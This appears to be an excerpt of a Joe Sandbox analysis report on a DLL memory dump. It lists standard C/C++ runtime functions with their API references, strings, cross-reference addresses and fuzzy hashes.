api-ms-win-core-synch-l1-2-0.dll, xrefs: 000000018000F494
SleepConditionVariableCS, xrefs: 000000018000F4BE

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: ed90b81432497c4b859a9c3bf5ef7a66474fd916561c46bd2aac4d4b979fe3fb
Instruction ID: cbebca51c4cc6e0d70743121d3da2ae35706941860834bdbb1d6ed5ddfa749fa
Opcode Fuzzy Hash: ed90b81432497c4b859a9c3bf5ef7a66474fd916561c46bd2aac4d4b979fe3fb
Instruction Fuzzy Hash: E5212F30206E4D81FBDBDB20F8943E663A0AB5C7D5F958435E91E46BA4EE6CC79D9300

Function 000000018001DA70 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018001DAB4
_invalid_parameter_noinfo.LIBCMT ref: 000000018001DE8C
_invalid_parameter_noinfo.LIBCMT ref: 000000018001E137

Strings

f, xrefs: 000000018001DBD6
p, xrefs: 000000018001DBDE
p, xrefs: 000000018001DB66
0, xrefs: 000000018001DEDC

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: a400f4d6ddb8362c6aec6d52de1fac8102090504894833b68446e73e98ce2a99
Instruction ID: 11bff1775e5d7b1454ddd3c7813a19f9c753771ecc1359fcefccb368a0916bf8
Opcode Fuzzy Hash: a400f4d6ddb8362c6aec6d52de1fac8102090504894833b68446e73e98ce2a99
Instruction Fuzzy Hash: 8612C232A04A8D86FBA6AE14D0447EE76A1F7997D4F84C017F6924B6C4DF78C788CB41

Function 0000000180013128 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000000180013185

Part of subcall function 000000018001547C: __GetUnwindTryBlock.LIBCMT ref: 00000001800154BF
Part of subcall function 000000018001547C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000001800154E4

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000000018001325D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000001800134B2
std::bad_alloc::bad_alloc.LIBCMT ref: 00000001800135BE

Strings

csm, xrefs: 000000018001319F
csm, xrefs: 0000000180013206
csm, xrefs: 0000000180013280

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 81a25778146e0d6eeb8abd376adb8dbd0f59147a0d35ae46c3990907e9707109
Instruction ID: d90ae95ed40332b4dc6248853f6d3a5668452e214fcdd056a9b5dc864f03a5b0
Opcode Fuzzy Hash: 81a25778146e0d6eeb8abd376adb8dbd0f59147a0d35ae46c3990907e9707109
Instruction Fuzzy Hash: 7EE1AC72600F488AEBA29F65D4823DD7BA1F749BD8F008115FE8957B9ACF34D299C700

Function 000000018002047C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000001800205FB
GetProcAddress.KERNEL32 ref: 0000000180020607

Strings

api-ms-, xrefs: 0000000180020545
ext-ms-, xrefs: 0000000180020558

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: c5647d1f7021cd8e1440370bdee1227c149ea6fc6fcf673f38dbc1a952e58484
Instruction ID: b59831e635f17b9e32cfd3f20f68095807fafd9e8d2ac9a04546aa57c863f69a
Opcode Fuzzy Hash: c5647d1f7021cd8e1440370bdee1227c149ea6fc6fcf673f38dbc1a952e58484
Instruction Fuzzy Hash: 4141E071311B1885FB97DB16A8043DA6396B74CBE0F58C626AD1A8B7C5EF3CC6498740

Function 000000018000FDAC Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000000018000FDD4
__scrt_acquire_startup_lock.LIBCMT ref: 000000018000FE26
_RTC_Initialize.LIBCMT ref: 000000018000FE54
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000000018000FE7A
__scrt_release_startup_lock.LIBCMT ref: 000000018000FEA5

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c671e8edf16b6119a35364c15aade4144dcb4b1bcb76ba1d69248f1abadabaff
Instruction ID: 1d43224e53c1c126d3c8d5e56bdaad7cec8874dc05a55f6b1f6c85ba31c66aaf
Opcode Fuzzy Hash: c671e8edf16b6119a35364c15aade4144dcb4b1bcb76ba1d69248f1abadabaff
Instruction Fuzzy Hash: 4E819A31600A4D8AFBE7EB2694413E97291BB8E7C0F14C035BA4987B97DE79CB4D9710

Function 00000001800179F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180017A0B
_invalid_parameter_noinfo.LIBCMT ref: 0000000180017A48
_invalid_parameter_noinfo.LIBCMT ref: 0000000180017A7D

Strings

r, xrefs: 0000000180017A38
w, xrefs: 0000000180017AD7
w, xrefs: 0000000180017A33

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: r$w$w
API String ID: 3215553584-72812343
Opcode ID: 37d64a06e7c11df08195b57a90dfe86cfbe72b67997bc8cfaa1438fc6a606d90
Instruction ID: 13dcfeeab2a0b6585ad6b0194e04978f6cb12ac79bb9787eda62b15cc1e7063f
Opcode Fuzzy Hash: 37d64a06e7c11df08195b57a90dfe86cfbe72b67997bc8cfaa1438fc6a606d90
Instruction Fuzzy Hash: DD41B632349A9C46FB9397A0D0113DEA7A19B897D0F848510B688076C7DF6CCB4DCB02

Function 00000001800159CC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000000180015A51
GetLastError.KERNEL32 ref: 0000000180015A5F
LoadLibraryExW.KERNEL32 ref: 0000000180015A89
FreeLibrary.KERNEL32 ref: 0000000180015ACF
GetProcAddress.KERNEL32 ref: 0000000180015ADB

Strings

api-ms-, xrefs: 0000000180015A71

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 49d0a66d137787552c44d6f2863af4c81916d3e3236c0c7d877f95ccd00bbb91
Instruction ID: 0ad59f9e4a14db282165644c3098f23c2390531325c91ed4fdab3e559cf2f7aa
Opcode Fuzzy Hash: 49d0a66d137787552c44d6f2863af4c81916d3e3236c0c7d877f95ccd00bbb91
Instruction Fuzzy Hash: FE31A731312E48D5EF93DB02A4407D96394FB4CBE6F99C616BDA90B790EF78C6498701

Function 000000018001E728 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018001E737
FlsGetValue.KERNEL32 ref: 000000018001E74C
FlsSetValue.KERNEL32 ref: 000000018001E76D
FlsSetValue.KERNEL32 ref: 000000018001E79A
FlsSetValue.KERNEL32 ref: 000000018001E7AB
FlsSetValue.KERNEL32 ref: 000000018001E7BC
SetLastError.KERNEL32 ref: 000000018001E7D7

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6b7bf9f1553cc049d70359f7db8bdc3f57d627e80023453169fa93f48adc11c1
Instruction ID: 546d590ee40adf6c25efc08dcd9945e6d9155c7d3c0dfceb1e9f6753c16d939f
Opcode Fuzzy Hash: 6b7bf9f1553cc049d70359f7db8bdc3f57d627e80023453169fa93f48adc11c1
Instruction Fuzzy Hash: 34213E34208B8C47FBDBA77155453EE62925B8D7F4F24C725B93607AD7DF2886094701

Function 000000018002EAB0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000000018002EAE1
GetLastError.KERNEL32 ref: 000000018002EAED
CloseHandle.KERNEL32 ref: 000000018002EB05
CreateFileW.KERNEL32 ref: 000000018002EB30
WriteConsoleW.KERNEL32 ref: 000000018002EB4F

Strings

CONOUT$, xrefs: 000000018002EB11

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: b6d21a9b080e1f3e9edc3813c040a1a7656d0b01059017150e95ae98ae1b39da
Instruction ID: c6c0dfb59ff521c6ab07a974f04b29fd83111acf2c1a0e54063ffe81b5a76142
Opcode Fuzzy Hash: b6d21a9b080e1f3e9edc3813c040a1a7656d0b01059017150e95ae98ae1b39da
Instruction Fuzzy Hash: E8118231310B448AE7939B56E85839AA3A1F78DFE5F058214FE5E877A4DF78CA488740

Function 000000018000F180 Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000000018000F1F2
MultiByteToWideChar.KERNEL32 ref: 000000018000F29A
LCMapStringEx.KERNEL32 ref: 000000018000F2D1
LCMapStringEx.KERNEL32 ref: 000000018000F32A
LCMapStringEx.KERNEL32 ref: 000000018000F3D7
WideCharToMultiByte.KERNEL32 ref: 000000018000F419

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: c3dac3b0c0cb94f640fb70ba04b0d9a3ce45078aff36ae02d1181d243b6802de
Instruction ID: aed9e30ce9a8dfa6e08bf5170395a9ea161629b3b877c947486cb4f6f631e34b
Opcode Fuzzy Hash: c3dac3b0c0cb94f640fb70ba04b0d9a3ce45078aff36ae02d1181d243b6802de
Instruction Fuzzy Hash: EA81823220074886EBB2CF21E4403AA77A1FB48BE8F448225FE5957FD8DF78C6499700

Function 0000000180013600 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000000018001379E
std::bad_alloc::bad_alloc.LIBCMT ref: 0000000180013AC1

Strings

csm, xrefs: 0000000180013747
csm, xrefs: 00000001800137C5
csm, xrefs: 00000001800136E5

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 7bd4bc7abcc8a4836d39e7da98d53ee03728a912233b5579514d35805e087cf1
Instruction ID: 5f1ab1a375a8ed2581114272e7d7b0886a6f8d1ffbea24d1cc876fb1800b83ce
Opcode Fuzzy Hash: 7bd4bc7abcc8a4836d39e7da98d53ee03728a912233b5579514d35805e087cf1
Instruction Fuzzy Hash: 81E1C073600B888AE7A2DF24D4813ED7BA0F748798F158115FE9947796DF34C689C700

Function 000000018001E8A0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018001E8AF
FlsSetValue.KERNEL32(?,?,?,000000018001939D,?,?,?,?,00000001800257B6,?,?,00000000,0000000180019413,?,?,?), ref: 000000018001E8E5
FlsSetValue.KERNEL32(?,?,?,000000018001939D,?,?,?,?,00000001800257B6,?,?,00000000,0000000180019413,?,?,?), ref: 000000018001E912
FlsSetValue.KERNEL32(?,?,?,000000018001939D,?,?,?,?,00000001800257B6,?,?,00000000,0000000180019413,?,?,?), ref: 000000018001E923
FlsSetValue.KERNEL32(?,?,?,000000018001939D,?,?,?,?,00000001800257B6,?,?,00000000,0000000180019413,?,?,?), ref: 000000018001E934
SetLastError.KERNEL32 ref: 000000018001E94F

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: df7c9950fb5633351461af4a6d4e2ef1a857583ee845652aa489ec2b42b2e859
Instruction ID: ec2c4ed793237eacadfbf0f45515e6967a71af1e8c29bf5330405200443a1ebd
Opcode Fuzzy Hash: df7c9950fb5633351461af4a6d4e2ef1a857583ee845652aa489ec2b42b2e859
Instruction Fuzzy Hash: D1116A30204B8C86FADBA37295453EE62926B4D7F4F14C726B976076D7DF28C60A8340

Function 000000018000593C Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 162COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 0000000180005B0F
std::ios_base::failure::failure.LIBCPMT ref: 0000000180005B63

Strings

ios_base::eofbit set, xrefs: 0000000180005AEA, 0000000180005B3E
ios_base::failbit set, xrefs: 0000000180005AE3, 0000000180005B37
ios_base::badbit set, xrefs: 0000000180005AD7, 0000000180005B2B

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 63c37f64b4238da11ea6515a961e33667d0c08f10c0bd9c84869a98c7ff7845f
Instruction ID: ebc79c75a70d9494811fa8443994b3e223948e18f9dddef28d0b14d8c553250c
Opcode Fuzzy Hash: 63c37f64b4238da11ea6515a961e33667d0c08f10c0bd9c84869a98c7ff7845f
Instruction Fuzzy Hash: 8661A032300A4885EBA6DB15D4913EE7760FB89FD6F59C116EA8E477A5DF38C60AC301

Function 00000001800123A0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000001800123CB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000000180012460
RtlUnwindEx.KERNEL32 ref: 00000001800124AF

Strings

f, xrefs: 00000001800123DE
csm, xrefs: 0000000180012446

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e3b96603f9174a24cab67cfdb4e29505e30f04677641fe99e9d57ef17ddcbf36
Instruction ID: 46a54e1a8b2e558e3fad4e0f76577156aba5a5d116c785071923e6366e9a12d5
Opcode Fuzzy Hash: e3b96603f9174a24cab67cfdb4e29505e30f04677641fe99e9d57ef17ddcbf36
Instruction Fuzzy Hash: 1D51AD32611E088BEB9ACF15E494B9937A6F348BD8F91C124FE5647788EF34DA59C700

Function 0000000180018B30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000000180018B55
GetProcAddress.KERNEL32 ref: 0000000180018B6B
FreeLibrary.KERNEL32 ref: 0000000180018B92

Strings

CorExitProcess, xrefs: 0000000180018B64
mscoree.dll, xrefs: 0000000180018B4C

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 61b98247a4544f8c35314c5e8c142d002c8699fc759c736d92b86ff94ff0a1e6
Instruction ID: 984c09bea15bf6d719f9798ed51626e49399f0ab656169e1035e446950acf3dd
Opcode Fuzzy Hash: 61b98247a4544f8c35314c5e8c142d002c8699fc759c736d92b86ff94ff0a1e6
Instruction Fuzzy Hash: 1BF062B1214B0885EB968B24E4843DA6360EB4D7E6F599615E66A465F4CF3CC74DC300

Function 00000001800129F8 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 0000000180012B1B
__AdjustPointer.LIBCMT ref: 0000000180012B66

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: fe9b2715a09737585fcd9e95c05290807fc2ec4ea6aad6357f3721b8d7d77ab0
Instruction ID: 5e17619b0902fc68a659db9c7b41421f55c903e9d12112478928451b0cdb246f
Opcode Fuzzy Hash: fe9b2715a09737585fcd9e95c05290807fc2ec4ea6aad6357f3721b8d7d77ab0
Instruction Fuzzy Hash: C8B19F3220AE4C85EBE7DF15D4807E96791EB5CBC4F19C425BE4907785EF38C6AA8341

Function 0000000180002A74 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180002A89
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180002AAE
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180002AD8
std::_Facet_Register.LIBCPMT ref: 0000000180002B4F
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180002B69

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 1ee6f129745dfb786a4c9b0b704dca0696572e15b5b9e97bd81fbeced7c897fc
Instruction ID: 75936afc8fba2e9bb15ceab2f3ce6a501666a2e79e755e86060e8152fa3a9903
Opcode Fuzzy Hash: 1ee6f129745dfb786a4c9b0b704dca0696572e15b5b9e97bd81fbeced7c897fc
Instruction Fuzzy Hash: 79517B32201B8885EB96DF1AE5843D9B760F759BE4F58C122EB5C477A5DF38C66AC300

Function 0000000180002964 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180002979
std::_Lockit::_Lockit.LIBCPMT ref: 000000018000299E
std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800029C8
std::_Facet_Register.LIBCPMT ref: 0000000180002A3F
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180002A59

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: e59c49af1818900ca9bbe76b9138d16f8de1cee7b5e55582864f6c46de69244f
Instruction ID: e3b6d505b7a68b4f57d45df470cd1953456489c84ff84efb060058f2a88fae9f
Opcode Fuzzy Hash: e59c49af1818900ca9bbe76b9138d16f8de1cee7b5e55582864f6c46de69244f
Instruction Fuzzy Hash: 33316132201A8881FAD7EF15E4487D97361F79DBE4F489622EE59476D9DF38C64A8300

Function 000000018002D7F0 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000018002D818
_set_statfp.LIBCMT ref: 000000018002D833
_set_statfp.LIBCMT ref: 000000018002D84F
_set_statfp.LIBCMT ref: 000000018002D88B

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 129b0f4056eb2f3b8801baa1b67ea7ab7c9715ca6d7d5caaa11af7222d674743
Instruction ID: 1b539b2404dac1850cc307d629a99d7ab22d003b4fb24a627d46a698b8498cb1
Opcode Fuzzy Hash: 129b0f4056eb2f3b8801baa1b67ea7ab7c9715ca6d7d5caaa11af7222d674743
Instruction Fuzzy Hash: 4A11E976E10A0D01FAD72164E4563F513406B5C3F2F14C636BAB64A3E6DF948E8C4301

Function 000000018001E968 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,0000000180015E93,?,?,00000000,000000018001612E,?,?,?,?,?,00000001800160BA), ref: 000000018001E987
FlsSetValue.KERNEL32(?,?,?,0000000180015E93,?,?,00000000,000000018001612E,?,?,?,?,?,00000001800160BA), ref: 000000018001E9A6
FlsSetValue.KERNEL32(?,?,?,0000000180015E93,?,?,00000000,000000018001612E,?,?,?,?,?,00000001800160BA), ref: 000000018001E9CE
FlsSetValue.KERNEL32(?,?,?,0000000180015E93,?,?,00000000,000000018001612E,?,?,?,?,?,00000001800160BA), ref: 000000018001E9DF
FlsSetValue.KERNEL32(?,?,?,0000000180015E93,?,?,00000000,000000018001612E,?,?,?,?,?,00000001800160BA), ref: 000000018001E9F0

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: fab53df8a5ac89ff1a2b6a894063615218add15f02f9124c5e864f8d02772eff
Instruction ID: 00edae41e183fbd2e8606093cc37647827c6555097a09aed734637088f63a391
Opcode Fuzzy Hash: fab53df8a5ac89ff1a2b6a894063615218add15f02f9124c5e864f8d02772eff
Instruction Fuzzy Hash: 0E117C30604B8842FADBA76259513EE62416F4D3F0F24D326B879176D7DF28D6098301

Function 000000018001E7FC Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 000000018001E80D
FlsSetValue.KERNEL32 ref: 000000018001E82C
FlsSetValue.KERNEL32 ref: 000000018001E854
FlsSetValue.KERNEL32 ref: 000000018001E865
FlsSetValue.KERNEL32 ref: 000000018001E876

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c63e81d2d01c90007976c0f5bc21046995a65ac1080587bdd1ddac7e77524400
Instruction ID: f4aba1b18a3e83186cccd927c59e601c147614a46c3b98da4e0a66e3739e800c
Opcode Fuzzy Hash: c63e81d2d01c90007976c0f5bc21046995a65ac1080587bdd1ddac7e77524400
Instruction Fuzzy Hash: 57113C30601B4D46FADFA37148553EE53819B4E3F4F28DB25793A1A2C3DF2897498341

Function 0000000180024B24 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180024E03

Part of subcall function 000000018002C720: _invalid_parameter_noinfo.LIBCMT ref: 000000018002C73D

Strings

UTF-16LEUNICODE, xrefs: 0000000180024DA1
UTF-8, xrefs: 0000000180024D82
ccs, xrefs: 0000000180024D3E

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 8bfc84b77e7558d68c5bb05920fb3a05a169634cc9774f19c0a581655e93d9a9
Instruction ID: 73528e983954968b617acd12009597acd9308e6cade8632c7583188e8deff3ed
Opcode Fuzzy Hash: 8bfc84b77e7558d68c5bb05920fb3a05a169634cc9774f19c0a581655e93d9a9
Instruction Fuzzy Hash: 46818A7760664885FBF78F2D81503E93BA1A719BC8F66C005FA025F695CF29CB0E9702

Function 0000000180024860 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180024B09

